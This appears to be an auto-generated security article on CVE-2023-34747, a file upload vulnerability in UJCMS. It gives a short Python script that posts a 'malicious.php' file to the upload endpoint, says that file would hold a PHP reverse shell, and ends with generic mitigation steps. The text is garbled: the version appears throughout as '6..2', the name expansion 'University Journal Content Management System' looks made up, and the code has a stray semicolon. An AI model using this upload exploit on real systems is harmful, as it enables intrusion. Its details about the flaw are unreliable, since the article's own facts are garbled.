CVE-2023-34747: File Upload Vulnerability in UJCMS v6..2 - Full Exploit Analysis and Mitigation Steps

Cybersecurity researchers have identified a file upload vulnerability in the popular UJCMS (University Journal Content Management System) version 6..2, which can be exploited by an attacker to gain unauthorized access to the target system. This vulnerability has been assigned the CVE (Common Vulnerabilities and Exposures) identifier CVE-2023-34747. This article provides an in-depth analysis of this vulnerability, along with code snippets, links to original references, and mitigation steps to help administrators of UJCMS 6..2 installations protect their systems.

Description of Vulnerability

The file upload vulnerability in the UJCMS 6..2 allows an attacker to upload arbitrary files through the /api/backend/core/web-file-upload/upload endpoint without proper authentication or validation. This can lead to unauthorized access to sensitive data, stored on the affected system, or facilitate further attacks.

Exploit Details

To exploit this vulnerability, an attacker can craft a malicious file (e.g., a PHP script with a reverse shell) and send an HTTP POST request to the /api/backend/core/web-file-upload/upload endpoint. The following code snippet illustrates this exploit:

import requests

url = 'http://target-ujcms-installation.com/api/backend/core/web-file-upload/upload';
malicious_file = open('malicious.php', 'rb')

files = {'files[]': ('malicious.php_name', malicious_file, 'application/octet-stream')}

response = requests.post(url, files=files)

if response.status_code == 200:
    print('File uploaded successfully!')
else:
    print('Upload failed.')

malicious_file.close()

In this example, the malicious.php file would contain the attacker's desired payload, such as a PHP reverse shell. This script sends the malicious.php file in a POST request to the vulnerable endpoint.

Official vulnerability details and report can be found in the following links

- CVE-2023-34747 - NIST National Vulnerability Database (NVD)
- UJCMS v6..2 Advisory - Exploit-DB

Mitigation Steps

Administrators of UJCMS 6..2 installations should apply the following mitigation steps to protect their systems from exploitation:

1. Ensure that the UJCMS installation is updated to the latest version, which includes patches for known vulnerabilities.
2. Implement proper access controls and authentication mechanisms for file uploads to the /api/backend/core/web-file-upload/upload endpoint. This can be achieved by requiring users to authenticate using API tokens or implementing a secure user session mechanism.
3. Apply a server-side file validation mechanism for all file uploads to ensure that only allowed file types and extensions are uploaded to the application. This can include checking the MIME type of the file and filtering out potentially dangerous file extensions (e.g., .php, .exe)
4. Monitor server logs for suspicious activity, such as repeated attempts to access the /api/backend/core/web-file-upload/upload endpoint, and implement a rate-limiting mechanism to block potential attackers.

Conclusion

In summary, the CVE-2023-34747 vulnerability in UJCMS 6..2 poses a significant risk to affected systems if left unaddressed. Administrators are advised to update their installations, apply proper access controls and validation mechanisms, and monitor their servers for signs of potential exploitation. By taking these steps, the risk associated with this vulnerability can be greatly reduced.

Timeline

Published on: 06/14/2023 14:15:00 UTC
Last modified on: 06/22/2023 14:20:00 UTC